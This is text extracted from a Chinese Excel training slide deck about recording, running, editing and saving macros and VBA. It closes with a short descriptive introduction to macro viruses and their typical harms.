




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
徹底理解Excel中的宏
教學課件講師:馬成功
找講師中國最大的培訓講師選聘平臺講師:馬成功Email:mcgonline@163.com馬成功在線視頻教學本節(jié)主要講述以下內容:宏的引入及相關編輯宏病毒認識及防范
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學前言我們在使用excel的時候經常要對某些區(qū)域、某些單元格,進行反復的操作,比如:給選中的單元格快速格式化反復的設置篩選條件篩選出需要的數(shù)據(jù)將不需要的數(shù)據(jù)刪除掉快速處理工作簿中圖像-------馬成功在線視頻教學舉例:比如要給sheet1工作表上的單元格區(qū)域a1:f18設置字體為:隸書字號為:30顏色為:紅色馬成功在線視頻教學
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學通常的方法是通過相應的字體選項卡或單元格對話框來一步步的完成
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學當我們不需要添加的格式時,還是通過相應的選項卡或對話框一步步的逆向操作去掉我們添加的格式
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學這些簡單的要求需要我們把相同的動作重復了n遍,計算機并不介意反復執(zhí)行重復的動作,但使用計算機的人有時會感到繁瑣一些,在執(zhí)行同樣的操作時有時還會出錯那么有沒有一種方法可以使我們的操作更加簡單一些?
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學實際上excel軟件內置了一個平時:看不到也用不到其實大多數(shù)的情況下是想不到的一個程序編寫軟件:Vbe程序編制軟件,簡稱為vbe編輯器馬成功在線視頻教學如何啟動(查看或打開)該軟件打開工作簿后通過以下任意一種方法均可:按快捷鍵alt+F11鍵在任意一個工作表標簽上右擊鼠標---查看代碼通過開發(fā)工具選項卡(默認沒顯示)
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學小提示:如何顯示開發(fā)工具選項卡?默認功能區(qū)中是沒有開發(fā)工具選項卡的因為該選項卡平時用不到,所以excel默認隱藏了她,通過設置可以將她顯示出來(當然通過該設置也可以隱藏它)馬成功在線視頻教學打開后的vbe界面如下圖所示馬成功在線視頻教學什么是vbe?Vbe即visualbasicEditor的縮寫,特指嵌套在微軟開發(fā)的office軟件中的或者是支持微軟vba語言的其它公司開發(fā)的軟件中的一個內置編程軟件
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學為了方便講解,我們把經常用到的excel界面稱之為前臺界面,將vbe界面稱之為后臺界面如何切換前后臺界面前臺界面和后臺界面的關系馬成功在線視頻教學如何切換前后臺界面如何切換前后臺界面反復按alt+F11鍵可以在前臺界面和vbe界面之間互相切換通過在任務欄上通過鼠標單擊切換按此按鈕也可以返回前臺界面馬成功在線視頻教學前臺界面和后臺界面的關系這個后臺界面不管你知道與否還是使用與否默認都是是存在的不管是打開的excel程序軟件還是打開、新建的任意一個excel文件都會存在該界面,也就是這個界面是處于共享狀態(tài)的這個界面是嵌入到excel程序中的,這個界面不能單獨打開,也就說要想打開這個界面必須事先打開任意一個excel文件或excel程序軟件才能打開vbe每個文件的后臺界面默認都是一樣的,但可以進行相應的個性化的編輯和修改文件刪除則隸屬于該文件的個性化界面被刪除,但處于默認共享狀態(tài)的界面不會被刪除,除非將excel程序軟件卸載掉
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學兩個界面都可以設置自己的顯示比例互不干擾,比如彼此設置為最大化、最小化等等馬成功在線視頻教學如果同時打開多個excel文件,則最多只能顯示一個vbe界面,從vbe界面的左側工程資源管理器上可以發(fā)現(xiàn)多個已經打開的excel文件
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學關閉任意一個或多個文件界面不會被關閉掉,除非把所有的excel文件全部關閉當只打開一個excel文件時,文件關閉則界面也會隨之被關閉當只關閉vbe界面時軟件不會提示保存操作,即使你在vbe界面中編寫了相應代碼。當你關閉excel文件時不管你是否只在前臺進行了編輯操作還是只在后臺界面進行操作還是兩者兼有,都會提示你是否保存的對話框,出現(xiàn)的對話框會因為你操作的界面不同而略有不同馬成功在線視頻教學關于內置vbe界面的小提示:并不是微軟開發(fā)的任何軟件中都有內置了該編程界面也并不是微軟開發(fā)的任意一個office應用軟件中都內置了該編程界面更不是只有微軟公司開發(fā)的軟件中含有此編程界面,請看下面的舊聞摘要馬成功在線視頻教學舊聞摘要:VBA不止是出現(xiàn)在OfficeWord/Excel里用來記錄宏、執(zhí)行自動批量處理,微軟還有一個授權項目,允許第三方獨立軟件開發(fā)商(ISV)在其程序中使用VBA。在過去近十年里,Corel、AutoDesk都購買了VBA授權,在各自產品中加入了這一功能,今后他們還可以繼續(xù)這么做。微軟只是不再銷售新的VBA第三方授權了。馬成功在線視頻教學autodesk公司開發(fā)的autocad軟件
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學馬成功在線視頻教學內置在Autocad軟件中的vbe
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學知道了上述的vbe界面后,我們可以在編程界面中編寫代碼實現(xiàn)我們的要求,比如實現(xiàn)上面提到的案例馬成功在線視頻教學小例子:給單元格區(qū)域設置格式打開編輯器后在其中編寫相應的代碼即可實現(xiàn)我們開始講課的案例:Sub添加格式()Sheets("sheet1").SelectRange("a1:f18").SelectWithSelection.Font.Name="隸書".Size=30.ColorIndex=3EndWithEndSub馬成功在線視頻教學清除不要的格式Sub清除格式()Sheets("sheet1").SelectRange("a1:f18").SelectWithSelection.Font.Name="宋體".Size=11.ColorIndex=0EndWithEndSub
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學疑難雖然通過在vbe中編寫了相應的代碼實現(xiàn)了我們需要的功能,但是對于初學者來說會有很多的疑慮:我不知道你寫的是什么我也不知道你是如何實現(xiàn)要求的我根本就看不懂-------有沒有一種方法既可以實現(xiàn)我需要的功能又不用編寫相應代碼?馬成功在線視頻教學針對這種情況,微軟提供了一個宏工具實現(xiàn)了上述功能這就用到了宏的相關知識馬成功在線視頻教學宏的引入在現(xiàn)實生活和工作當中,當我們需要反復收聽某種聲音的時候,我們可以采用話筒或錄音機等相關設備將需要的聲音錄制在磁帶、電腦或其它相關設備中,然后可以反復的播放需要的音頻
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學當我們需要反復觀看某些視頻畫面的時候我們可以采用攝像機等相關設備將視頻拍攝下來,需要的時候再進行反復的播放觀看馬成功在線視頻教學錄音機是用來錄制聲音的,攝像機主要是用來錄制視頻的,他們的相同點都是一經錄制下來后可以反復的播放我們錄制的信息在excel軟件中也有一個內置的錄制工具:宏這個工具不是用來錄制音頻的更不是用來錄制視頻的,他是用來錄制操作軟件時相關的動作的,他錄制的是一個“無聲的世界”馬成功在線視頻教學錄制音、視頻需要相關的硬件設施,在軟件中錄制相關的動作也需要一個“硬件設施”----這就是excel中的宏錄制器馬成功在線視頻教學什么是宏錄制器宏錄制器是excel中專門錄制操作步驟或動作的專用錄制工具,其實就是一個比較特殊的對話框馬成功在線視頻教學這個宏對話框(工具)就是用來收集你在軟件中的相應操作步驟的,但是宏對話框對于剛接觸的使用者對這個專用名稱一時不好理解,為了形象的理解我們可以稱之為:動作跟蹤器操作步驟記錄器步驟錄制器
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學要想很好的使用該工具,需要我們掌握以下基本知識
馬成功在線視頻教學理解宏這個上面我們已經說過了,宏就像現(xiàn)實生活中的錄音機或攝像機,她是專門用來錄制相應軟件中的操作步驟的,她錄制的是一個和動作有關的“無聲的世界”馬成功在線視頻教學策劃宏策劃宏就是首先謀劃想要得到什么樣的功能,可以的話把你的想法或需求逐個羅列出來,然后圍繞你所需的功能策劃出實現(xiàn)功能的相應的步驟在策劃宏的時候主要注意以下情況:你想要的功能是否可行?并不是所有的操作都能通過錄制的方式進行錄制,它只能錄制簡單的功能如果可行的話你如何逐步得到你的功能?步驟的多少步驟的先后順序馬成功在線視頻教學舉例打個比方,我們要記錄某人一天的工作安排第一步、先起床第二步、洗臉第三步、刷牙第四步、吃飯第五步、上班
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學步驟多少的變化這個人一天的工作安排總共分為五步,每步之間有先后順序實際上這個人每天的步驟的多少可能會有些變化,比如馬成功在線視頻教學步驟先后位置的變化這個人的步驟的先后順序也可能改變馬成功在線視頻教學在軟件中策劃宏在軟件中策劃某個功能,也需要考慮步驟的多少和順序,比如:將工作表中A1:A8的單元格中的數(shù)據(jù)的字體設置為:黑體、26號、傾斜、加下劃線我們策劃如下步驟相應的順序:馬成功在線視頻教學順序的改變馬成功在線視頻教學小提示雖然我們上面講述關于策劃宏的時候提出了步驟的多少和先后順序的彈性變化,但有的時候并不能隨意的設置,尤其是關于步驟的先后順序有的宏不能隨意的設置
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學錄制宏要想得到我們需要的功能,首先需要我們打開宏錄制器,有必要對宏錄制器對話框認識馬成功在線視頻教學宏對話框概講先掌握宏名的起名規(guī)則和說明馬成功在線視頻教學說明起備注和解釋說明的意義該項可以不用寫,也可以后面添加,對代碼起輔助的作用馬成功在線視頻教學開始錄制宏一般通過兩種方法錄制通過狀態(tài)欄上的宏錄制器錄制通過開發(fā)選項卡上的表單窗體控件中的按鈕控件錄制馬成功在線視頻教學宏錄制時的”為”與”不為”并不是所有的步驟都能被錄制下來,雖然你在操作,但是卻錄制不下來,比如:她只能錄制本軟件內的相關動作,切換到其它軟件中的操作不能被錄制在本軟件內和對話框有關的操作大多數(shù)不會被錄制切換軟件的選項卡操作不會被錄制動作停頓時不會被錄制鼠標僅僅是簡單的晃動不會被錄制-----------馬成功在線視頻教學小提示:一個工作簿上可以錄制多個步驟相同或不同的宏,但不能出現(xiàn)重名的宏
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學停止錄制錄制的宏代碼一般不需要無限制的錄制下去,在適當時候需要停止錄制忘記停止錄制的動作時,當工作簿關閉的時候宏則自動停止錄制馬成功在線視頻教學小提示Excel中的宏在錄制的時候沒有暫停功能,在這一點上她比不上word中的宏Word中的宏有暫停功能馬成功在線視頻教學當一個宏錄制完畢后,我們適當?shù)臅r候需要運行(使用),它嘗試讓宏給我們帶來的便利,在運行宏的時候我們可以采用多種方法運行,這些方法我們可以從不同角度劃分,比如:前臺運行方式后臺運行方式--------馬成功在線視頻教學宏的運行方式詳解
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學前臺運行方式(鏈接運行方式)是指通過單擊放置在excel相關工作表上的具體的對象運行相應宏的方式,這種方式其實為一種指向或鏈接的方式,和超鏈接類似,不過他鏈接宏而不是某個網(wǎng)頁這些對象可以是以下幾種類型的對象馬成功在線視頻教學在對象右擊鼠標---指定宏馬成功在線視頻教學建議雖然通過在前臺界面添加不同的對象均可以鏈接到相應的宏,但是還是建議大家盡量使用表單控件或ActiveX控件,因為使用這種控件:專業(yè)正規(guī)直觀圖文并茂
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學舉例:使用普通圖形鏈接宏步驟如下:在excel工作表內繪制一個圖形(在此用的是矩形)在矩形上右擊鼠標---打開指定宏對話框找到需要的宏時單擊確定即可馬成功在線視頻教學小提示:如何找到宏所在的位置我們知道在每一個打開的工作簿上都可以錄制相應的宏,這些宏默認放置在彼此的工作簿內,如果只想使用當前工作簿內的宏則只需啟動當前工作簿即可,如果要想啟用放置在其它工作簿內的宏,則必須應首先打開所需宏所在的工作簿,否則是無法跨簿調用的(除非將宏錄制在個人宏工作簿內或導入相應宏的模塊,不過這都是后話了)
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學指定宏對話框馬成功在線視頻教學宏對話框中的位置選項位置:即宏所存放的地址,這個位置下拉列表選項會隨著打開的工作簿的數(shù)量的不同而不同,這些位置主要分為以下四個大類:所有打開的工作簿當前工作簿個人宏工作簿(personal.xlsb)其它打開的工作簿名稱馬成功在線視頻教學指定宏對話框中的宏名選項宏名列表中宏的數(shù)量會隨著選擇的宏位置的不同而不同,當選擇“所有打開的工作簿”時宏名列表項是最多的馬成功在線視頻教學小提示如果你只是打開指定宏對話框,但是并沒有從宏名列表項中給對象選擇指定的宏時,雖然可以單擊確定按鈕,但是當你單擊目標對象時會出現(xiàn)如下所示的警告框馬成功在線視頻教學小提示當一個對象被指定宏后,如果想編輯該對象,比如:更改對象的位置、大小、顏色等信息時不能采用單擊的方法,因為此時的單擊是運行宏動作不在是選中目標對象了,這個時候應該在目標對象上右擊鼠標----進入對象的編輯狀態(tài),再進行針對對象的相關操作。馬成功在線視頻教學舉例:采用表單控件指定宏雖然表單控件里的控件都可以指定宏,但是用的最多的還是按鈕控件,這個控件不但能指定宏而且默認時還可以通過它單獨錄制宏操作按鈕控件
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學操作步驟當你在工作表上拖放畫出該控件時,彈出指定宏對話框,此時可以直接指定已經存在的宏,也可以采用錄制的方法從新錄制一個,也可以暫時不錄制不指定后面在添加指定的宏馬成功在線視頻教學按鈕的相關編輯要想更改按鈕的位置、大小、文字等等,首先應在按鈕上右擊鼠標進入編輯模式馬成功在線視頻教學如何更改按鈕控件上的文字默認的按鈕控件上的提示文字可能不直觀,可以在按鈕上右擊鼠標----編輯文字馬成功在線視頻教學小提示在一個按鈕沒有指定宏之前(也就是只是將按鈕放置在工作表內沒有指定運行的宏),我們可以在按鈕上快速雙擊鼠標的方式直接進入編輯狀態(tài)編輯相應的文字,此時也可以通過“開始”選項卡上的相應的文字編輯選項編輯按鈕上的文字馬成功在線視頻教學按鈕的其它格式設置按鈕不但能進行位置、大小的更改,還可以進行顏色、字體的更改單擊此項
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學小技巧如果你想在一個工作表上添加多個按鈕控件,你可以一步步制作,也可以先制作出一個然后進行復制粘貼的方式復制多個出來,選中多個后可以同比例操作,更改每個的文字顯示內容,最后再每一個指定相應的宏馬成功在線視頻教學小提示在選中按鈕控件時,一定要鼠標單擊(放置在)按鈕控件的邊框上,不能單擊文字內部否則無法整體選中按鈕在復制按鈕時既可以通過快捷鍵復制,也可以按住ctrl鍵或shift鍵拖拉目標對象進行復制,如果同時按住ctrl+shift鍵進行拖拉復制則可以保證復制的控件在同一個水平位置或垂直位置
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學小提示雖然通過ActiveX控件也能指定宏,但是需要手工編寫代碼才能運行相應的宏,建議初學者暫時不用掌握該控件的使用命令按鈕控件馬成功在線視頻教學對象與鏈接的宏的關系對象刪除宏不會被刪除宏被刪除、注釋、改名等操作會,單擊對象時會有提示信息馬成功在線視頻教學對象移動宏不會移動,但還會響應對象的單擊操作對象復制宏不會復制,但還會響應對象的單擊操作一個對象默認只能鏈接一個宏可以更換已經指定宏在不刪除對象的情況下,可以刪除對象上鏈接的宏指向馬成功在線視頻教學刪除對象上的宏指向馬成功在線視頻教學通過宏對話框運行
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學通過快捷鍵運行宏快捷鍵可以在錄制時添加,也可以在隨后添加添加的快捷鍵也可以刪掉如果指定的快捷鍵和默認快捷鍵發(fā)生沖突時則以宏快捷鍵為準,即:覆蓋了內置的快捷鍵快捷鍵的設置規(guī)則:不能使用不允許的字符可以是大寫字母馬成功在線視頻教學如何后期添加和刪除快捷鍵馬成功在線視頻教學后臺運行按alt+F11打開vbe編輯器,找到并將光標定位到需要的宏然后按F5鍵或工具欄上的運行按鈕運行需要的宏馬成功在線視頻教學小提示建議初學者不要采用該方法運行,主要是因為:一是不能很好的找到并定位到你需要的宏二是在運行的時候宏處理的結果不能很好的觀察,因為vbe界面遮擋住了前臺界面,不過我們可以將vbe界面適當?shù)目s小一下便于觀察馬成功在線視頻教學默認錄制的宏只能是按快捷鍵運行或前臺運行通過相關設置可以成為按事件運行按時間運行這個操作起來稍難一些馬成功在線視頻教學通過事件運行宏工作簿的打開事件工作表的選中事件工作簿的關閉事件---------馬成功在線視頻教學按時間運行宏當工作簿打開后可以在某時刻定點運行可以在多長時間后運行可以設置成周期運行(在此不講此操作)馬成功在線視頻教學首先錄制一個用于測試的宏代碼Sub填充相同信息()'Range("D5:G19").SelectSelection.FormulaR1C1="1"EndSub馬成功在線視頻教學在指定的時刻運行(以個人電腦時間為準)將工作簿打開后在指定的時刻運行PrivateSubWorkbook_Open()Application.OnTimeTimeValue("13:00:00"),"填充相同信息"EndSub馬成功在線視頻教學在經過指定的時間之后運行當打開工作簿后,從現(xiàn)在開始計時,經過多長時間之后開始運行指定的宏PrivateSubWorkbook_Open()Application.OnTimeNow+TimeValue("00:00:05"),"填充相同信息"EndSub
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學小提示一個宏可以被多個對象調用但是通過前臺方式或快捷鍵方式運行的宏一次只能運行一個宏,即一個對象只能鏈接一個宏通過事件運行的宏一次可以運行多個宏馬成功在線視頻教學小提示微軟提供的宏功能,最基本的用法就是通過錄制的方法將動作錄制下來,方便重復的調用動作。實際上錄制動作的功能不僅僅局限在office軟件上,比如大名鼎鼎的adobe公司開發(fā)的ps軟件也有類似的功能,只不過該功能的名稱為”動作”馬成功在線視頻教學Adobephotoshopcs3版本中的“宏”馬成功在線視頻教學
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學馬成功在線視頻教學馬成功在線視頻教學宏保存位置的設置錄制的宏實際是錄制的宏代碼,這些宏代碼總會保存在設置的位置中,位置可以有不同選擇,選擇不同的位置會影響宏使用的范圍
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏保存位置的選擇當前工作簿新建工作簿個人宏工作簿馬成功在線視頻教學當前工作簿如果選擇當前工作簿則會把宏代碼錄制在當前正在使用工作簿內,其它已經存在的工作簿或以后新建的工作簿都不會含有此宏代碼一旦將此工作簿關閉后,其它工作簿則不能使用該宏功能不過當一直打開該工作簿時,其它工作簿也可以使用該宏功能
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學新建工作簿如果選擇新建工作簿,首先軟件會自動新建一個默認名字為book1的工作簿內,并將錄制的代碼放置在一個自動新建的工作簿內,她的服務范圍在不關閉新建工作簿時也可以服務本工作簿和其它工作簿,一旦關閉則無法服務其它工作簿一般不會選擇該選項馬成功在線視頻教學個人宏工作簿如果選擇個人宏工作簿,則將錄制的代碼放置在一個名稱為:personal.xlsb內的工作簿內,不過默認該工作簿是不存在的,如果是第一次選擇個人宏工作簿選項,則會自動新建一個個人宏工作簿,當新建后才可以將代碼錄制在該特殊的工作簿內
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學這個個人宏工作簿默認是無法看到的,通過在選項卡上單擊單擊“取消隱藏”,即可看到隱藏的工作簿,這個時候你會發(fā)現(xiàn)在電腦的狀態(tài)欄上會多出一個工作簿:個人宏工作簿馬成功在線視頻教學個人宏工作簿的真面目馬成功在線視頻教學個人宏工作簿的功能通過將代碼錄制在個人宏工作簿內,解決了宏功能的共享問題,可以在所有打開的工作簿內都可以通過某種方式被調用
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學再次隱藏個人宏工作簿在個人宏工作簿內單擊“隱藏”即可再次隱藏該工作簿馬成功在線視頻教學如何尋找個人宏工作簿在硬盤中的位置搜索:xlstart馬成功在線視頻教學C:\DocumentsandSettings\Administrator\ApplicationData\Microsoft\Excel\XLSTART
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學小提示一旦新建了個人宏工作簿,則啟動excel程序時會自動的啟動該工作簿,這也許會影響你的啟動速度馬成功在線視頻教學如何刪掉個人宏工作簿找到該文件在硬盤中的位置后,先關閉所有打開的excel文件(否則無法刪除),然后再刪除該個人宏工作簿刪掉個人宏工作簿后放置在其內的宏則一起被刪掉馬成功在線視頻教學含宏文件的保存注意事項當一個含宏文件保存時和一個不含宏文件保存時出現(xiàn)的保存對話框是不同的
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學單擊“是”當你單擊“是”選項時,會將文件保存為*.xlsx格式的普通excel文件,采用此項后:采用宏處理的結果則會保存下來(如果已經使用宏處理過的話)你錄制的宏代碼則被自動刪掉馬成功在線視頻教學單擊“否”當你單擊“否”選項時,會強制要求你將文件保存為*.xlsm格式的文件,采用此項后:采用宏處理的結果則會保存下來(如果已經使用宏處理過的話)你錄制的宏代碼也會保存下來馬成功在線視頻教學
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學小提示采用*.xlsm格式保存的文件的圖標和普通excel文件的圖標是不一樣的,含宏文件圖標有一個驚嘆號馬成功在線視頻教學小提示宏代碼保存在不同的工作薄內當你保存文件時出現(xiàn)的對話框是有所不同的當將宏保存在個人宏工作簿內,則保存工作簿時不會出現(xiàn)強制保存選項對話框,因為此時錄制的宏根本就沒有錄制在當前工作簿內只有當宏保存在當前或新建工作簿中時關閉文件時才會有強制提示馬成功在線視頻教學小提示實際上除了將宏代碼保存在當前工作簿或個人宏工作簿外還可以將宏文件通過另存為保存在含有宏的模板上啟用宏的模板.xltm
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學馬成功在線視頻教學03和07的不同在excel2003中錄制的代碼在保存時不會強制要求你更改格式,從外在圖標和文件格式上你無法辨別哪個文件是含宏文件哪個不是含宏文件,也就是說宏代碼是寄生在文件中的,實際上這種文件是宏亦是文件但是excel2007則不同,含宏文件的格式和圖標是可以看出來的,這就給出了我們一個辨別能力,只要一看圖標和后綴格式就能發(fā)現(xiàn)是否含宏,這給以后的辨別宏病毒提供了方便。
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏的優(yōu)點通過上述的案例我們發(fā)現(xiàn)宏有以下優(yōu)點:減輕勞動負擔提高工作效率將經常需要的步驟錄制下來經過簡單的調用即可實現(xiàn)我們的需求方便功能的共享與協(xié)作將彼此錄制的宏發(fā)給對方,使彼此雙方也能使用彼此錄制的宏功能采用宏功能延伸了軟件的功能,給以后軟件的二次開發(fā)提供了便利這也許是msoffice區(qū)別于其它office軟件的一個功能吧馬成功在線視頻教學宏的實質通過宏錄制器錄制的方式產生我們需要的功能宏錄制器從表面上錄制的是動作,實際上錄制的是宏代碼,宏錄制器是采用代碼錄制的方式而不是手工編寫代碼的方式產生需要的代碼進而得到我們需要的功能,這從一定角度上看“逃避”了掌握編寫代碼的步驟既然錄制的是代碼,那么我們查看錄制的代碼馬成功在線視頻教學如何查看錄制的宏默認錄制的宏都是放置在vbe編輯器中的模塊中,它會自動產生一個模塊,默認新建的模塊為“模塊1”,默認情況下會將錄制的宏全部放置在同一個模塊中,除非人為干預,雙擊該模塊后從右側編輯區(qū)內可以看到我們錄制的一個個的宏
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學馬成功在線視頻教學這些代碼實際上是用一種語言編寫的,只不過通過宏錄制的方法會自動產生代碼,無需人工編寫,編寫這種代碼的語言采用是:vba語言馬成功在線視頻教學什么是vba?Vba的全稱是visualbasicforapplications的縮寫她是一種計算機編程語言,就好比大名鼎鼎的c語言、java語言、匯編語言等
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學Vba和vb以及basic的關系vba語言是從vb語言中派生出來的子語言Vb語言又是basic語言的可視化版本三者之間有一種包含關系馬成功在線視頻教學Vba繼承了大多數(shù)vb中的語法、規(guī)則,就連編程界面也很相似在不嚴格的情況下,可以說vba就是vb的子集
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學小提示:雖然vba是從vb語言派生出來的,但兩者之間還是有所區(qū)別的,主要區(qū)別如下:是否有獨立的編程環(huán)境是否可以開發(fā)出可打包部署的應用程序主要目的Vb有可以開發(fā)獨立的應用程序vba無不可以主要是為彌補支持vba語言的宿主軟件的功能而服務馬成功在線視頻教學小提示實際上最開始在在錄制宏功能時采用的是相應軟件比較獨立的語言編寫的比如:錄制excel中的宏采用的是excelbasic語言錄制word中的宏采用的是word
basic語言每種語言有比較大的區(qū)別,這樣導致在學習上及宏之間的兼容性上比較棘手,為了達到在學習及兼容性上有一個統(tǒng)一的標準,微軟開發(fā)出了比較統(tǒng)一的新一代的宏編程語言:vba馬成功在線視頻教學Wordvbaexcelvbapptvba
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學Vba與vbe的區(qū)別和聯(lián)系Vba是一種計算機語言,通過該語言編寫的代碼我們稱之為宏代碼或vba代碼,通過該語言開發(fā)的程序我們稱之為宏程序或vba程序,但是并不是在任意一個軟件中書寫用vba編寫的代碼都能生成需要的軟件,比如將代碼編寫在記事本中,則永遠不能生成軟件只有將vba代碼放置在特定的編輯軟件(環(huán)境)中才能生成軟件,這個特定的編輯軟件我們稱之為vbe編輯器Vbe是編寫、測試宏代碼的專用車間或者平臺馬成功在線視頻教學宏與vba的區(qū)別宏是一種技術、一種功能、一個工具,就好比排序、篩選是excel中的數(shù)據(jù)處理技術Vba是一種語言,通過使用該語言可以在支持該語言的宿主軟件上采用手工編寫或錄制的方法產生需要的功能馬成功在線視頻教學宏的概念掌握了很多宏的相關知識后,我們有必要給宏下一個概念宏,她的英文單詞是Macro,這就是為什么在錄制宏的時候默認的宏名是Macro1宏是指:在支持vba語言的宿主軟件上,軟件使用者為了避免一再重復相同的動作而開發(fā)出來的一個工具,她利用簡單的語法,將相應的動作步驟錄制成宏,在以后需要的時候方便重復調用,不必再重復的相同的操作了。
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學形象比喻宏功能通過使用宏技術又多了一條通往羅馬的道路她使通往拉薩的火車從單行線變成了雙行線馬成功在線視頻教學宏所能實現(xiàn)的功能和前臺軟件所能實現(xiàn)的功能的對比你有我也有你沒有我有你有我優(yōu)你優(yōu)我不優(yōu)馬成功在線視頻教學宏使用的必要性探究宏雖然提供了很強大的處理數(shù)據(jù)的功能,但是并不是言必稱宏在對數(shù)據(jù)采用簡單的功能就能得到需要的結果時,就沒必要使用宏那些對excel常用功能還沒有完全弄懂的情況下就大談宏與vba是舍本逐末的表現(xiàn),說的直白些那是一種顯擺與炫耀。
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏的相關編輯刪除宏注釋宏移動宏復制宏更改宏馬成功在線視頻教學刪除宏如果錄制的宏不想被使用,可以刪除掉該錄制的宏在vbe界面中刪除在宏對話框中刪除馬成功在線視頻教學小提示如果刪除的當前宏已經被某個對象或事件所調用,那么當刪除后,單擊相應的對象啟用已經被刪除的宏時,會出現(xiàn)警告信息馬成功在線視頻教學注釋宏當你不確定錄制的宏是否以后需要的時候,不要直接刪除,我們可以采用注釋的方法,暫時的停用該宏在vbe界面中選中宏代碼錄制的宏,注釋之前的Sub填充相同信息()'填充相同信息Macro'在錄制信息工作表上填充相同的數(shù)據(jù)'Range("D5:G19").SelectSelection.FormulaR1C1="1"EndSub
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏被注釋之后的馬成功在線視頻教學還可以取消注釋從新啟用該宏馬成功在線視頻教學移動宏移動宏就是將宏代碼移動到其它位置:移動到其它模塊其它工作表其它工作簿其它應用程序內:記事本、ps等(不在有宏的功能)
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學復制宏將錄制的宏代碼整體復制,并粘貼到適當?shù)奈恢米⒁猓翰荒苷迟N到相同的模塊內,否則會出現(xiàn)警告可以適當?shù)母暮昝鉀Q二義性警告馬成功在線視頻教學更改宏更改宏更改宏名注意更改后曾經被調用過會出現(xiàn)警告更改功能錄制的宏會有許多無用的代碼:垃圾代碼,通過適當?shù)膭h除和更改可以使宏代碼更加緊湊和簡略馬成功在線視頻教學宏與文件的關聯(lián)我們知道錄制的宏默認放置在某個模塊內,實際上是放置在相應的工作簿內文件刪除則宏也刪除了文件復制則宏也被復制文件移動則宏也被移動
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學Msoffice給我們提供的宏功能的開放性為我們個性化功能及二次開發(fā)新界面提供了很大的便利,但是在使用這個便利的工具時,我們通過宏工具既可以開發(fā)出有益的宏代碼,也可以人為的編寫出有害的宏代碼:宏病毒馬成功在線視頻教學馬成功在線視頻教學計算機病毒什么是病毒?病毒是指人為的采用某種語言編寫的對計算機有害的計算機代碼或程序病毒的破壞方式不盡相同病毒有數(shù)萬種之多,每天都有新病毒出現(xiàn),其中就有一大類病毒:宏病毒馬成功在線視頻教學什么是宏病毒?廣義的宏病毒是指:凡是支持內置vba程序語言的軟件上,通過vba語言人為制作的對文件及系統(tǒng)有害的計算機程序狹義的宏病毒特指:在微軟office應用軟件上,通過內置vba語言人為編寫的對文件及系統(tǒng)有害的計算機程序宏病毒破壞相應office應用軟件而編寫的一種計算機程序。宏病毒是一些制作病毒的專業(yè)人員利用Microsoftoffice相應軟件的開放性即內置的vbe編程界面,專門制作的一個或多個具有病毒特點的宏代碼,這種病毒宏的代碼影響到計算機使用,并能通過相應文件進行自我復制及傳播。
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學宏病毒的起源1996年12月13日,一種被稱為“TaiwanNo.1”(臺灣1號)的病毒同時在北京和深圳被發(fā)現(xiàn),一例來自于Internet的下載文件,另一例來自某醫(yī)院的一項合作協(xié)議書。在一個專門研究醫(yī)學病毒的捍衛(wèi)人體健康的機構發(fā)現(xiàn)被計算機病毒侵襲的事件馬成功在線視頻教學宏病毒的相關認識宏病毒的特點宏病毒的危害性宏病毒的傳播方式馬成功在線視頻教學宏病毒的特點宏病毒隱蔽性強通過office相關軟件傳遞病毒,不容易被發(fā)現(xiàn)宏病毒傳播迅速因為幾乎大多數(shù)的公司都在使用office系列軟件危害比較嚴重由于該病毒能跨越多種平臺,并且針對數(shù)據(jù)文檔進行破壞,因此具有極大的危害性制作與變種方便
找講師中國最大的培訓講師選聘平臺馬成功在線視頻教學常見宏病毒的危害性表現(xiàn)方式比如:不能正常打印將文件改名亂復制文件刪除文件或文件夾出現(xiàn)死循環(huán)不讓保存文件強行保存為某種模板格式的文件----
